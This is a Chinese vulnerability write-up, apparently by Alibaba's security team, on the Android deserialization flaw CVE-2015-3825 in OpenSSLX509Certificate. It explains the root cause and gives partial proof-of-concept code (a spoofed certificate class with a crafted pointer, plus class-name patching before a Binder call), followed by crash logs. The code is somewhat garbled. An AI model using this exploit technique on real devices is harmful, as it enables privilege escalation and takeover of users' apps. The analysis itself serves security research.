OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
OpenSSLX509Certificate反序列化漏洞
(CVE-2015-3825)成因分析
作者:没羽
官网:百度搜素“阿里聚安全”
官方微博:阿里聚安全
官方微信:阿里聚安全
一、序
序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。
二、漏洞成因
这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM 安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL
0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》[1]。
2.1 PoC构造
Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在
OpenSSLX509Certificate(全包名路径为.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:
1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类;
2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型);
3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);
其中mContext就是要找的可被攻击控制的指针。
我对CVE-2014-7911的POC进行了改造,
首先定义类.conscrypt.ApenSSLX509Certificate,如下:
public class ApenSSLX509Certificate implements Serializable {
//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
public final long mContext;
ApenSSLX509Certificate(long ctx) {
mContext = ctx;
}
}
注意包名为.conscrypt,然后在同包名下创建一个MainActivity.java,对
ApenSSLX509Certificate进行调用:
.conscrypt.ApenSSLX509Certificate evilProxy
= new .conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);
和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名:
int l = data.length;
for (int i=0; i if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') { data[i] = 'O'; break; } } 类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android 4.4.2的AVD 中,安装、运行PoC,我们看到: E/CVE-2014-7911-trace(1669): setApplicationRestrictions E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::ng.ClassCastException: .conscrypt.OpenSSLX509Certificate cannot be cast to ng.String[] W/System.err(1669): ng.ClassCastException: .conscrypt.OpenSSLX509Certificate cannot be cast to ng.String[] at erManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:141 7) at erManagerService.setApplicationRestrictions(UserManagerService.java:1124) at android.os.IUserManager$Stub.onTransact(IUserManager.java:245) W/System.err(1669): at android.os.Binder.execTransact(Binder.java:404) W/System.err(1669): at dalvik.system.NativeStart.run(Native Method)